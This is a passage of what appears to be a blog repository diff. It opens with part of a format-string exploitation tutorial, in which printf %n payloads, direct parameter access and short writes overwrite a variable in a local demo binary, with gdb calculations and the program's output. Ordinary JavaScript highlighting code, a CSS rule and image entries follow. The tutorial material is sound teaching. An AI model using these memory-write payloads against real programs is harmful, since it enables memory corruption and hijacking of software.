Memory address of overwrite_me @ 0xffffbe8c = 170 0x000000aa
|
||||
```
|
||||
|
||||
In order to write bb, we can calculate the number of characters our string needs to be in 0xbb, then add a second write:
|
||||
|
||||
```(gdb) p 0xbb - 0xaa
|
||||
$4 = 17
|
||||
```
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n%17x%n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd22880491ccffffbe90 0 4b4e554a
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 48042 0x0000bbaa
|
||||
```
|
||||
|
||||
etc.
|
||||
|
||||
We could continue this example with the final 2 writes. If we needed a number smaller than the one we've got, we would need to increment by enough to overflow the first 2 bytes of the number.
|
||||
|
||||
|
||||
### 5) Direct Parameter Access
|
||||
|
||||
Direct Parameter Access simplifies format string exploits.
|
||||
|
||||
It allows parameters to be accessed directly using the `$` qualifier.
|
||||
|
||||
`%n$d` accesses the nth parameter and displays it as a decimal number.
|
||||
|
||||
e.g.
|
||||
`printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);`
|
||||
`7th: 70, 4th: 00040`
|
||||
|
||||
|
||||
`echo "AAAA%x%x%x%x" | ./demo`
|
||||
```
|
||||
AAAAffffd22880491ccffffbe900
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000
|
||||
```
|
||||
|
||||
vs
|
||||
|
||||
`echo "AAAA%5\$x" | ./demo`
|
||||
```
|
||||
AAAA41414141
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000
|
||||
```
|
||||
|
||||
DPA also simplifies the writing of memory addresses. As we can directly access memory, we don't need the 4-byte spacers of junk data to increment the byte output count anymore.
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%5\$n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 16 0x00000010
|
||||
```
|
||||
|
||||
Let's write the realistic looking memory address of `0xbffffd72` into the variable test_vals.
|
||||
|
||||
First we need to calculate the
|
||||
|
||||
```
|
||||
(gdb) p 0x72 - 16
|
||||
$1 = 98
|
||||
(gdb) p 0xfd - 0x72
|
||||
$2 = 139
|
||||
(gdb) p 0x1ff - 0xfd
|
||||
$2 = 258
|
||||
(gdb) p 0x1bf - 0xff
|
||||
$3 = 192
|
||||
```
|
||||
|
||||
If we only do the first 3 writes, we can see the integer overflowing into the adjacent memory space on the left. This doesn't matter in this case, as we're going to overwrite the 0x01 with our 0xbf.
|
||||
|
||||
It is something to think about though for the 4th write. If we're writing a number that overflows we could corrupt other variables.
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ffffd228 80491cc ffffbe90
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 33553778 0x01fffd72
|
||||
```
|
||||
|
||||
To finish, we perform the fourth write here:
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n%192x%8\$n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ffffd228 80491cc ffffbe90 0
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = -1073742478 0xbffffd72
|
||||
```
|
||||
|
||||
|
||||
### 6) Short Writes
|
||||
|
||||
We can use 2-byte shorts to reduce the number of writes required to write a memory address.
|
||||
|
||||
As the overflowed integer value past the end of the 2 byte short is dropped rather than written, the order of the writes doesn't matter. This means we could write to the higher memory address, then the lower one.
|
||||
|
||||
e.g.
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd22880491ccffffbe900
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 28 0x0000001c
|
||||
```
|
||||
|
||||
changing the memory address to write to the first 2 bytes:
|
||||
`echo "$(printf '\x8e\xbe\xff\xff')%x%x%x%x%n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd22880491ccffffbe900
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 1835008 0x001c0000
|
||||
```
|
||||
@@ -284,10 +284,59 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==question:\s*([^=]+)==/gi, '<span class="question-highlight">❓ $1</span>');
|
||||
|
||||
// Process edit highlights BEFORE other processing to avoid syntax highlighting interference
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==edit:\s*([^=]+)==/gi, '<span class="edit-highlight">✏️ $1</span>');
|
||||
// But exclude content that's already inside block-level elements (hint, tip, etc.)
|
||||
// Handle both regular quotes and HTML-encoded quotes
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==edit:\s*([^=]+)==/gi, function(match, p1, offset, string) {
|
||||
// Check if this match is inside a blockquote or other block element
|
||||
const beforeMatch = string.substring(0, offset);
|
||||
const afterMatch = string.substring(offset + match.length);
|
||||
|
||||
// Count unclosed blockquote tags before this position
|
||||
const openBlockquotes = (beforeMatch.match(/<blockquote>/g) || []).length;
|
||||
const closedBlockquotes = (beforeMatch.match(/<\/blockquote>/g) || []).length;
|
||||
|
||||
// If we're inside a blockquote, don't process this edit highlight
|
||||
if (openBlockquotes > closedBlockquotes) {
|
||||
return match; // Return unchanged
|
||||
}
|
||||
|
||||
return '<span class="edit-highlight">✏️ ' + p1 + '</span>';
|
||||
});
|
||||
|
||||
// Also handle HTML-encoded quotes (like "==edit:content==")
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/"==edit:\s*([^=]+)=="/gi, function(match, p1, offset, string) {
|
||||
// Check if this match is inside a blockquote or other block element
|
||||
const beforeMatch = string.substring(0, offset);
|
||||
|
||||
// Count unclosed blockquote tags before this position
|
||||
const openBlockquotes = (beforeMatch.match(/<blockquote>/g) || []).length;
|
||||
const closedBlockquotes = (beforeMatch.match(/<\/blockquote>/g) || []).length;
|
||||
|
||||
// If we're inside a blockquote, don't process this edit highlight
|
||||
if (openBlockquotes > closedBlockquotes) {
|
||||
return match; // Return unchanged
|
||||
}
|
||||
|
||||
return '"<span class="edit-highlight">✏️ ' + p1 + '</span>"';
|
||||
});
|
||||
|
||||
// Replace generic ==text== with <mark>text</mark> (but not edit highlights)
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==(?!edit:)([^=]+)==/g, '<mark>$1</mark>');
|
||||
// But exclude content that's already inside block-level elements
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==(?!edit:)([^=]+)==/g, function(match, p1, offset, string) {
|
||||
// Check if this match is inside a blockquote or other block element
|
||||
const beforeMatch = string.substring(0, offset);
|
||||
|
||||
// Count unclosed blockquote tags before this position
|
||||
const openBlockquotes = (beforeMatch.match(/<blockquote>/g) || []).length;
|
||||
const closedBlockquotes = (beforeMatch.match(/<\/blockquote>/g) || []).length;
|
||||
|
||||
// If we're inside a blockquote, don't process this highlight
|
||||
if (openBlockquotes > closedBlockquotes) {
|
||||
return match; // Return unchanged
|
||||
}
|
||||
|
||||
return '<mark>' + p1 + '</mark>';
|
||||
});
|
||||
|
||||
// Replace > TIP: patterns with tip-item divs
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
@@ -320,10 +369,34 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
/<blockquote>\s*<p>\s*Note:\s*([^<]+(?:<[^>]+>[^<]*<\/[^>]+>[^<]*)*)<\/p>\s*<\/blockquote>/gi,
|
||||
'<div class="note-item">$1</div>'
|
||||
);
|
||||
|
||||
// Post-process note items to handle ==edit:== syntax that was preserved
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
/<div class="note-item">([^<]*(?:<[^>]+>[^<]*)*?)<\/div>/gi,
|
||||
function(match, content) {
|
||||
// Process any remaining ==edit:== syntax in note content
|
||||
let processedContent = content.replace(/==edit:\s*([^=]+)==/gi, '<span class="edit-highlight">✏️ $1</span>');
|
||||
// Also handle HTML-encoded quotes
|
||||
processedContent = processedContent.replace(/"==edit:\s*([^=]+)=="/gi, '"<span class="edit-highlight">✏️ $1</span>"');
|
||||
return '<div class="note-item">' + processedContent + '</div>';
|
||||
}
|
||||
);
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
/<blockquote>\s*<p>\s*Hint:\s*([^<]+(?:<[^>]+>[^<]*<\/[^>]+>[^<]*)*)<\/p>\s*<\/blockquote>/gi,
|
||||
'<div class="hint-item">Hint: $1</div>'
|
||||
);
|
||||
|
||||
// Post-process hint items to handle ==edit:== syntax that was preserved
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
/<div class="hint-item">Hint: ([^<]*(?:<[^>]+>[^<]*)*?)<\/div>/gi,
|
||||
function(match, content) {
|
||||
// Process any remaining ==edit:== syntax in hint content
|
||||
let processedContent = content.replace(/==edit:\s*([^=]+)==/gi, '<span class="edit-highlight">✏️ $1</span>');
|
||||
// Also handle HTML-encoded quotes
|
||||
processedContent = processedContent.replace(/"==edit:\s*([^=]+)=="/gi, '"<span class="edit-highlight">✏️ $1</span>"');
|
||||
return '<div class="hint-item">Hint: ' + processedContent + '</div>';
|
||||
}
|
||||
);
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
/<blockquote>\s*<p>\s*Question:\s*([^<]+(?:<[^>]+>[^<]*<\/[^>]+>[^<]*)*)<\/p>\s*<\/blockquote>/gi,
|
||||
'<div class="question-item">$1</div>'
|
||||
@@ -370,32 +443,133 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
});
|
||||
|
||||
// Process edit highlights that got broken up by syntax highlighting
|
||||
//
|
||||
// PROBLEM: Syntax highlighters (like Pygments) break up ==edit:content== patterns
|
||||
// across multiple HTML spans, making them impossible for regex to match.
|
||||
//
|
||||
// COMMON PATTERNS TO HANDLE:
|
||||
// 1. Quoted: "==edit:content==" → <span>"==edit:</span><span>content</span><span>=="</span>
|
||||
// 2. Unquoted: ==edit:content== → <span>==</span><span>edit</span><span>:content</span><span>==</span>
|
||||
// 3. HTML-encoded: "==edit:content==" → <span>"==edit:</span><span>content</span><span>=="</span>
|
||||
// 4. Mixed classes: Different CSS classes (s2, se, o, n, ss) depending on content type
|
||||
//
|
||||
// SOLUTION: Add regex patterns for each common breakup pattern
|
||||
// TROUBLESHOOTING: If new patterns don't work, inspect the HTML output to see
|
||||
// how the syntax highlighter is breaking up the ==edit:== patterns
|
||||
const codeElements = contentBody.querySelectorAll('code, pre code, .highlight code');
|
||||
codeElements.forEach(codeElement => {
|
||||
// Look for the pattern: <span class="o">==</span>edit:content<span class="o">==</span>
|
||||
const html = codeElement.innerHTML;
|
||||
if (html.includes('==') && html.includes('edit:')) {
|
||||
// Handle the broken pattern from syntax highlighting
|
||||
// Debug: Log the HTML structure to help troubleshoot
|
||||
if (html.includes('==edit:') || html.includes('==<span')) {
|
||||
console.log('Found ==edit: pattern in code block:', html);
|
||||
}
|
||||
|
||||
// Debug: Check for the specific Ruby pattern
|
||||
if (html.includes('<span class="o">==</span><span class="n">edit</span><span class="ss">:')) {
|
||||
console.log('Found Ruby ==edit: pattern:', html);
|
||||
console.log('Attempting to match pattern...');
|
||||
}
|
||||
// PATTERN 1: Basic syntax highlighting breakup
|
||||
// Handles: <span class="o">==</span>edit:content<span class="o">==</span>
|
||||
codeElement.innerHTML = html.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+)<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
// Handle patterns with mark tags in the middle
|
||||
|
||||
// PATTERN 2: With mark tags in the middle (from previous highlighting)
|
||||
// Handles: <span class="o">==</span>edit:content<span class="o"><mark></mark></span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+(?:<[^>]+>[^<]*)*?)<span[^>]*class="[^"]*o[^"]*"[^>]*><mark><\/mark><\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
// Handle the specific pattern: ==edit:content<span class="o"><mark></mark></span>
|
||||
|
||||
// PATTERN 3: Specific mark tag pattern
|
||||
// Handles: ==edit:content<span class="o"><mark></mark></span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+)<span[^>]*class="[^"]*o[^"]*"[^>]*><mark><\/mark><\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
// Handle pattern with variable highlighting in the middle: ==edit:content <span class="nv">VAR</span>==
|
||||
|
||||
// PATTERN 4: Variable highlighting in the middle
|
||||
// Handles: ==edit:content <span class="nv">VAR</span>==
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+)\s*<span[^>]*class="[^"]*nv[^"]*"[^>]*>([^<]+)<\/span><span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1 $2</span>'
|
||||
);
|
||||
// Also handle any remaining unprocessed edit highlights
|
||||
// PATTERN 5: Quoted strings with s2 class
|
||||
// Handles: <span class="s2">==edit:</span>content<span class="s2">==</span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*s[^"]*"[^>]*>==edit:<\/span>([^<]+)<span[^>]*class="[^"]*s[^"]*"[^>]*>==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
|
||||
// PATTERN 5B: Single quotes with s1 class
|
||||
// Handles: <span class="s1">'==edit:</span>content<span class="s1">=='</span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*s[^"]*"[^>]*>'==edit:<\/span>([^<]+)<span[^>]*class="[^"]*s[^"]*"[^>]*>=='<\/span>/gi,
|
||||
'<span class="s1">\'</span><span class="edit-highlight">✏️$1</span><span class="s1">\'</span>'
|
||||
);
|
||||
|
||||
// PATTERN 6: Single span with entire pattern
|
||||
// Handles: <span class="s2">==edit:content==</span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*s[^"]*"[^>]*>==edit:([^<]+)==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
|
||||
// PATTERN 7: Quoted with hex content (se class for escape sequences)
|
||||
// Handles: <span class="s2">"==edit:</span><span class="se">\x78\x56</span><span class="s2">=="</span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*s[^"]*"[^>]*>"==edit:<\/span><span[^>]*class="[^"]*se[^"]*"[^>]*>([^<]+)<\/span><span[^>]*class="[^"]*s[^"]*"[^>]*>=="<\/span>/gi,
|
||||
'<span class="s2">"</span><span class="edit-highlight">✏️$1</span><span class="s2">"</span>'
|
||||
);
|
||||
|
||||
// PATTERN 8: Different class combinations
|
||||
// Handles: Various class combinations for quoted patterns
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*s[^"]*"[^>]*>"==edit:<\/span><span[^>]*class="[^"]*[^"]*"[^>]*>([^<]+)<\/span><span[^>]*class="[^"]*s[^"]*"[^>]*>=="<\/span>/gi,
|
||||
'<span class="s2">"</span><span class="edit-highlight">✏️$1</span><span class="s2">"</span>'
|
||||
);
|
||||
|
||||
// PATTERN 9: Quoted patterns with mixed classes
|
||||
// Handles: <span class="s2">"==edit:</span><span>content</span><span class="s2">=="</span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*s[^"]*"[^>]*>"==edit:<\/span><span[^>]*>([^<]+)<\/span><span[^>]*class="[^"]*s[^"]*"[^>]*>=="<\/span>/gi,
|
||||
'<span class="s2">"</span><span class="edit-highlight">✏️$1</span><span class="s2">"</span>'
|
||||
);
|
||||
|
||||
// PATTERN 10: Most general quoted case
|
||||
// Handles: Any span structure with "==edit:" pattern
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*>"==edit:<\/span><span[^>]*>([^<]+)<\/span><span[^>]*>=="<\/span>/gi,
|
||||
'<span class="s2">"</span><span class="edit-highlight">✏️$1</span><span class="s2">"</span>'
|
||||
);
|
||||
|
||||
// PATTERN 11: HTML-encoded quotes
|
||||
// Handles: "==edit:content==" patterns
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*>"==edit:<\/span><span[^>]*>([^<]+)<\/span><span[^>]*>=="<\/span>/gi,
|
||||
'<span class="s2">"</span><span class="edit-highlight">✏️$1</span><span class="s2">"</span>'
|
||||
);
|
||||
|
||||
// PATTERN 12: Unquoted with specific class breakdown
|
||||
// Handles: <span class="o">==</span><span class="n">edit</span><span class="ss">:offset</span><span class="o">==</span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span><span[^>]*class="[^"]*n[^"]*"[^>]*>edit<\/span><span[^>]*class="[^"]*ss[^"]*"[^>]*>:([^<]+)<\/span><span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
|
||||
// PATTERN 13: General unquoted case
|
||||
// Handles: Any span structure with ==edit: pattern (no quotes)
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*>==<\/span><span[^>]*>edit<\/span><span[^>]*>:([^<]+)<\/span><span[^>]*>==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
|
||||
// FALLBACK: Catch any remaining unprocessed patterns
|
||||
// This should handle any patterns not caught by the above
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/==edit:\s*([^=]+)==/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
@@ -403,6 +577,43 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
}
|
||||
});
|
||||
|
||||
// TROUBLESHOOTING GUIDE FOR FUTURE ISSUES:
|
||||
// ===========================================
|
||||
// If ==edit:== patterns aren't working in code blocks:
|
||||
//
|
||||
// 1. INSPECT THE HTML: Right-click on the code block and "Inspect Element"
|
||||
// Look for how the syntax highlighter broke up the ==edit:== pattern
|
||||
//
|
||||
// 2. COMMON BREAKUP PATTERNS:
|
||||
// - Quoted: "==edit:content==" → <span>"==edit:</span><span>content</span><span>=="</span>
|
||||
// - Unquoted: ==edit:content== → <span>==</span><span>edit</span><span>:content</span><span>==</span>
|
||||
// - HTML-encoded: "==edit:content==" → <span>"==edit:</span><span>content</span><span>=="</span>
|
||||
//
|
||||
// 3. CSS CLASSES TO LOOK FOR:
|
||||
// - s2, s1: String literals
|
||||
// - se: String escape sequences (\x78, \n, etc.)
|
||||
// - o: Operators (==, +, etc.)
|
||||
// - n: Names/identifiers
|
||||
// - ss: String symbols
|
||||
// - nv: Name variables
|
||||
//
|
||||
// 4. ADDING NEW PATTERNS:
|
||||
// - Copy an existing pattern above
|
||||
// - Modify the regex to match the new HTML structure
|
||||
// - Test with the specific case that's failing
|
||||
// - Add a comment explaining what the pattern handles
|
||||
//
|
||||
// 5. TESTING:
|
||||
// - Use browser dev tools to see the actual HTML structure
|
||||
// - Test with both quoted and unquoted ==edit:== patterns
|
||||
// - Test with different content types (hex, text, variables)
|
||||
//
|
||||
// 6. COMMON ISSUES:
|
||||
// - Order matters: More specific patterns should come first
|
||||
// - CSS class matching: Use [^"]* to match any class containing the target
|
||||
// - HTML entities: Check for " instead of " in patterns
|
||||
// - Nested spans: Use (?:<[^>]+>[^<]*)*? for complex nested structures
|
||||
|
||||
// Convert YouTube links to embedded videos
|
||||
const youtubeLinks = contentBody.querySelectorAll('a[href*="youtu.be"], a[href*="youtube.com/watch"]');
|
||||
youtubeLinks.forEach(link => {
|
||||
|
||||
@@ -1421,6 +1421,13 @@ mark, .highlight-text{
|
||||
float: left;
|
||||
font-family: "Source Code Pro", Monaco, monospace !important;
|
||||
}
|
||||
.language-ruby::before {
|
||||
content: "rb ";
|
||||
font-size: 1em;
|
||||
margin-right: 0.5rem;
|
||||
float: left;
|
||||
font-family: "Source Code Pro", Monaco, monospace !important;
|
||||
}
|
||||
.nav-link {
|
||||
font-family: "Cute Font", "Source Code Pro", Monaco, monospace;
|
||||
font-size: 16px;
|
||||
|
||||
|
After Width: | Height: | Size: 5.0 KiB |
|
After Width: | Height: | Size: 3.4 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 72 KiB |
|
After Width: | Height: | Size: 28 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 7.5 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 5.0 KiB |
|
After Width: | Height: | Size: 31 KiB |
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 1.1 KiB |
|
After Width: | Height: | Size: 7.6 KiB |
|
After Width: | Height: | Size: 40 KiB |
|
After Width: | Height: | Size: 3.4 KiB |
|
After Width: | Height: | Size: 27 KiB |
|
After Width: | Height: | Size: 30 KiB |
|
After Width: | Height: | Size: 191 B |
|
After Width: | Height: | Size: 210 B |
|
After Width: | Height: | Size: 30 KiB |
|
After Width: | Height: | Size: 4.3 KiB |
|
After Width: | Height: | Size: 53 KiB |
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 3.9 KiB |
|
After Width: | Height: | Size: 149 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 35 KiB |
|
After Width: | Height: | Size: 59 KiB |
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 3.3 KiB |
|
After Width: | Height: | Size: 2.4 KiB |
|
After Width: | Height: | Size: 39 KiB |
|
After Width: | Height: | Size: 10 KiB |
|
After Width: | Height: | Size: 9.6 KiB |
|
After Width: | Height: | Size: 3.2 KiB |
|
After Width: | Height: | Size: 2.1 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 69 KiB |
|
After Width: | Height: | Size: 3.9 KiB |
|
After Width: | Height: | Size: 69 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 13 KiB |
|
After Width: | Height: | Size: 43 KiB |
|
After Width: | Height: | Size: 56 KiB |
|
After Width: | Height: | Size: 60 KiB |
|
After Width: | Height: | Size: 26 KiB |
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 3.9 KiB |
|
After Width: | Height: | Size: 56 KiB |
|
After Width: | Height: | Size: 176 KiB |
|
After Width: | Height: | Size: 83 KiB |